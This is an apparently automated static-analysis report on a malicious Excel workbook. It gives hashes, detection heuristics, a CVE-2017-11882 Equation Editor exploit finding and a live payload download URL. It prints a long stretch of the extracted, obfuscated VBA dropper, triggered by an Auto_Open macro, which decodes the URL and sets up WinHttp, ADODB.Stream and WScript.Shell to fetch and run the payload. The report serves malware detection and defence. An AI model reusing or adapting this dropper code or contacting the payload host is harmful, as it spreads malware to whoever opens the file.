Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1943b72d34dbaf3a…

MALICIOUS

Office (OOXML)

48.9 KB Created: 2020-02-01 18:28:07 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2020-09-15
MD5: 7dea468f495bfad5b8eacb2abe0ecd27 SHA-1: 9da52def8e221d8e9d394931e77fd5441930f351 SHA-256: 1943b72d34dbaf3abb226d62d68a4d27fe012c8a978ef1d32e393172d4b201d7
452 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains an embedded Equation Editor OLE object that exploits CVE-2017-11882. This exploit is configured to execute a command that renames a file and then uses 'cScript' to execute a Windows Script File (WSF) from a temporary location. The WSF script likely downloads and executes the payload from the URL http://192.3.31.220/46H3mT16hDd9iAu.exe, as indicated by the embedded OLE object URL and the critical heuristic firing for CVE-2017-11882 command stager.

Heuristics 12

  • CVE-2017-11882 — Equation Editor command stager critical CVE likely CVE_2017_11882_EQUATION_NATIVE_CMD
    Embedded Equation Editor OLE data contains an invalid Equation Native/MTEF stream with an embedded command stager. This is likely CVE-2017-11882 exploitation because the vulnerable Equation Editor component is reached and the malformed native stream directly carries process-launch bytes.
  • Equation Editor OLE object high CVE related OLE_EQUATION_EDITOR
    Embedded OLE object xl/embeddings/oleObject3.bin contains the Equation Editor CLSID, the legacy component exploited by CVE-2017-11882, CVE-2018-0802, and CVE-2018-0798.
  • ClamAV: Xls.Malware.Sdrop-9756744-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sdrop-9756744-0
  • Embedded Office object carries macros critical OFFICE_EMBEDDED_MACRO_OBJECT
    This document embeds a second Office file that itself contains a VBA macro project or an Excel 4.0 (XLM) macro sheet. Hiding a macro-bearing workbook or document inside another document — frequently under an obfuscated, non-standard part name — is a macro-smuggling technique that defeats scanners which only inspect the outer document's macro storage. No benign authoring workflow stages a hidden macro project this way.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    siunwufjsftw2 = siunwufjsftw2 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    dfiu876thiwe87726879 = ""CreateObject""  '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
Sub Auto_Open()
siunwufjsftw2 = siunwufjsftw2 + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '0000
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Payload URL recovered from embedded OLE object (1 URL) info OOXML_EMBEDDED_OBJECT_URL
    An embedded OLE object (xl/word/ppt embeddings) carries a next-stage download URL in its Ole10Native/Package stream — stored literally (incl. UTF-16) or base64-encoded — which the package-level URL sweep does not see. Surfaced as an IOC; self-validating (only real payload hosts).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.3.31.220/46H3mT16hDd9iAu.exe In document text (OOXML body / shared strings)

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 23333 bytes
SHA-256: f67960e4d97e476e0a6b517d5f6c26ffb68dc71d7f181dd6805ef561cca36579
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Sub AddSerialNumbers()
Dim i As Integer
On Error GoTo Last
i = InputBox("Enter Value", "Enter Serial Numbers")
For i = 1 To i
ActiveCell.Value = i
ActiveCell.Offset(1, 0).Activate
Next i
Last: Exit Sub
End Sub
Sub HideSubtotals()
Dim pt As PivotTable
Dim pf As PivotField
On Error Resume Next
Set pt = ActiveSheet.PivotTables(ActiveCell.PivotTable.n ame)
If pt Is Nothing Then
MsgBox "You must place your cursor inside of a PivotTable."
Exit Sub
End If
For Each pf In pt.PivotFields
pf.Subtotals(1) = True
pf.Subtotals(1) = False
Next pf
End Sub
Sub Auto_Open()
siunwufjsftw2 = siunwufjsftw2 + "cft6ygvcr4rcvfgyu = ""bhju43h3uhiweokwgui4gukf4yugwEHJWERREGIH4FH874EUFWEHYUihruihrejigmg4b43y7u437843oji43ikotj43rfwet4345gy54yergt4e5tg3w54yt3""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "cft6ygvcr4rcvfgyu = ""aHR0cDovLzE5Mi4zLjMxLjIyMC80NkgzbVQxNmhEZDlpQXUuZXhl"" " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "hj435fy43geu87r5i =""MTZoRGQ5aUF1LmV4ZQ==""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "bgfjeryhj57r6uj55jry6jr = ""b""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""in""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""."" " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""ba""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""se""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "bgfjeryhj57r6uj55jry6jr = bgfjeryhj57r6uj55jry6jr + ""64"" " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dim cftcfrfcfrfcfr, path" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "cftcfrfcfrfcfr = ""later""  '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dim fjnffbeuiv54gt5kyurrhtibg4ug6g, f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "cftcfrfcfrfcfr = ""later"":Sub grgergre28u38kDecode(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323) " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Dim vvfebtrfdhbtrdfg, oriutoiuy87t34gr4y367, hyuifiuygwhjekriu" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    dfiu876thiwe87726879 = ""CreateObject""  '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    rightieiehtegy33gy = "")""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    quoieiehtegy33gy = """"""""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Doc""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""ument""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    odtewmfdf = ""s""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    bgfcvbhgfd = ""e"" + ""t lsksjegefectvvjdk"" + "" = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    odtewmfdf = odtewmfdf + bgfcvbhgfd + dfiu876thiwe87726879 + leftieiehtegy33gy" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    odtewmfdf = odtewmfdf + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(odtewmfdf) " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    aaax = ""ADODB"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    aaax = aaax + ""."" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    aaax = aaax + ""Stream"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    novarue = ""Node""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    nvceuwkbfweu = ""novarue = novarue + """"TypedValue""""""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(nvceuwkbfweu)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    wwityetygehrer = ""ieeeeeeeeehhhhhfgfg"" + "" = lsksjegefectvvjdk."" + novarue" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(wwityetygehrer)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   fjnffbeuiv54gt5kyurrhtibg4ug6g = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Else" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   fjnffbeuiv54gt5kyurrhtibg4ug6g = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    dfiu876thiwe87726879 = ""Create""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    dfiu876thiwe87726879 = dfiu876thiwe87726879 + ""Object""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    veuriieug34jr = ""Set baax = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    veuriieug34jr = veuriieug34jr + dfiu876thiwe87726879 + ""(aaax)""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(veuriieug34jr) '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    djdufyfe67u3yhu = ""baax.Type = 1:baax.Open:baax.Wr"" + ""ite ieeeeeeeeehhhhhfgfg""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(djdufyfe67u3yhu)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    baax.Position = 0" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    baax.Type = 2 ' adTypeText" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    fjnffbeuiv54gt5kyurrhtibg4ug6g = baax.ReadText" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    baax.Close" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    End If" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "end sub" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Sub kjjjjjjjjjjjjjjjjjj(iuheiugyugreurfy64, ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Dim vvfebtrfdhbtrdfg " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    if ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323ssge34322323 Then vvfebtrfdhbtrdfg = ""utf-16le"" Else vvfebtrfdhbtrdfg = ""utf-8"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + " " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    dfiu876thiwe87726879 = ""CreateObject""  '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    leftieiehtegy33gy = ""(""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    rightieiehtegy33gy = "")""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    quoieiehtegy33gy = """"""""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = ""Ms""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""xm""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""l2""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + "".D""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""OM""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jbhgyuf7y8uiokjh = jbhgyuf7y8uiokjh + ""Document""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = "".Cr""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""eate""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""Ele""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ment""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""(""""a""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    o9u7hgtyuei983jh = o9u7hgtyuei983jh + ""ux"""")""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    jiwgft7hgyf367r = ""Set lsksjegefectvvjdk = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(jiwgft7hgyf367r + dfiu876thiwe87726879 + leftieiehtegy33gy + quoieiehtegy33gy + jbhgyuf7y8uiokjh + quoieiehtegy33gy + rightieiehtegy33gy + o9u7hgtyuei983jh) " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    lsksjegefectvvjdk.DataType = bgfjeryhj57r6uj55jry6jr" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    lsksjegefectvvjdk.Text = iuheiugyugreurfy64 " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    aaax = ""ADODB"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    aaax = aaax + ""."" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    aaax = aaax + ""Stream"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    novarue = ""Node""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(""novarue = novarue + """"TypedValue"""""")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(""ieeeeeeeeehhhhhfgfg = lsksjegefectvvjdk."" + novarue) '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "If LCase(vvfebtrfdhbtrdfg) = ""utf-16le"" then" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = CStr(ieeeeeeeeehhhhhfgfg)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Else" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dfiu876thiwe87726879 = ""creat""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dfiu876thiwe87726879 = dfiu876thiwe87726879 + ""eob""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dfiu876thiwe87726879 = dfiu876thiwe87726879 + ""je""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "dfiu876thiwe87726879 = dfiu876thiwe87726879 + ""ct""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "ksjdfuihrege9ur = ""Set baax = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Execute(ksjdfuihrege9ur + dfiu876thiwe87726879 + ""(aaax)"") " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "baax.Type = 1 ' adTypeBinary '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Execute(""baax."" + ""Open"") " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Execute(""baax."" + ""Write ieeeeeeeeehhhhhfgfg"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "baax.Position = 0 '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "baax.Type = 2 ' adTypeText" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "baax.CharSet = vvfebtrfdhbtrdfg" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Execute(""f33rZ9jPUDsN6B81P6yiLKJOeonZe6SzDGNsnxCSWrBHVHl05Pv1X2HnSigPIgPi1gXpEXCLMR9yRsmGCj3nhjVAL8Rfq4oW3eTt0EboqxgdqF = baax."" + ""ReadText"") " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "baax.Close" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "End If" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "end sub" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Execute(""call "" + ""grgergre28u38kDecode(hj435fy43geu87r5i,False)""):call kjjjjjjjjjjjjjjjjjj(cft6ygvcr4rcvfgyu,False) " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "Sub xdecd( dfgerge, vcvxcv )" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   cobvar = ""Scripting."" + ""FileSystemObject""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "didtjw63jdt20 = ""cre""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "didtjw63jdt20 = didtjw63jdt20 + ""ate""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "didtjw63jdt20 = didtjw63jdt20 + ""ob""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "didtjw63jdt20 = didtjw63jdt20 + ""je""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "didtjw63jdt20 = didtjw63jdt20 + ""ct""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   dud765tyie = ""t fso = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(""Se"" + dud765tyie + didtjw63jdt20 + ""(cobvar) "")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   path = ""C""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   path = path + "":""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   path = path + ""\program""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(""path = path + """"data\asc"""" + """".txt"""""")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Execute(""gybghbgyh = fso.File"" + ""Exists(path)"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   If(gybghbgyh) Then" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "      Execute(""fso.DeleteFile(path)"") '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "      msg = path & "" exists.""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "      Execute(""gtyjnhjkfirejhrrhy=dfgerge:uytrfghjhfrtyhgf=vcvxcv"") " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "      skivreuifyue43u = ""W""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "      skivreuifyue43u = skivreuifyue43u + ""Script""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       skivreuifyue43u = skivreuifyue43u + "".""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       m = skivreuifyue43u + ""Sh""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       varforell = ""e"" + ""l""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       varforell = varforell + Right(varforell, 1)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       m = m + varforell '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       Execute(""l=m"")  '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       if87eet5673ue94i = ""Set lkhnjhgfdrtyujh = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       if87eet5673ue94i = if87eet5673ue94i + didtjw63jdt20" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       if87eet5673ue94i = if87eet5673ue94i + ""(l)""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "       Execute(if87eet5673ue94i)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   Else" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "      msg = path & "" doesn't exist.""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   End If" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Dim i, objFile, objFSO, skivreuifyue43u, strFile, strMsg" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Const ForReading = 1, ForWriting = 2, ForAppending = 8 " + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    slashy = ""/""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    vfyf88ruy3t73tf = ""Set objFSO = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    vfyf88ruy3t73tf = vfyf88ruy3t73tf + didtjw63jdt20" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    vfyf88ruy3t73tf = vfyf88ruy3t73tf + ""(cobvar) """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(vfyf88ruy3t73tf)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(""ggfffffffffggggggg = objFSO.Folder"" + ""Exists(uytrfghjhfrtyhgf)"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(""hdlkvgbfndm = objFSO.Folder"" + ""Exists( Left( uytrfghjhfrtyhgf, InStrRev( uytrfghjhfrtyhgf, """"\"""" ) - 1 ) )"")" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    If(ggfffffffffggggggg) Then" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "        fje4ue783hu73 = ""Path(""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "        fje4ue783hu73 = fje4ue783hu73 +  ""gtyjnhjkfirejhrrhy, InStrRev( gtyjnhjkfirejhrrhy, slashy ) + 1 ) )""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "        obvrva = "" = objFSO""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "        Execute(""strFile"" + obvrva + ""."" + ""Build"" + fje4ue783hu73) '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    ElseIf(hdlkvgbfndm) Then" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "        strFile = uytrfghjhfrtyhgf" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Else" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "        Exit Sub" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    End If" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    usdi4y34jh = ""Set skivreuifyue43u = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    usdi4y34jh = usdi4y34jh + didtjw63jdt20" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    usdi4y34jh = usdi4y34jh + ""( """"WinHttp.WinHttpRequest.5.1"""" )""" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    Execute(usdi4y34jh)" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "   dim stream_obj" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    ado = ""ADODB"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    ado = ado + ""."" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    ado = ado + ""Stream"" '149471" + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    gdfud32kkmdmbfy = ""set stream_obj = """ + vbCrLf '0000
siunwufjsftw2 = siunwufjsftw2 + "    gdfud32kkmdmbfy = gdfud32kkmdmbfy + didtjw63jdt20" + vbCrLf '0000
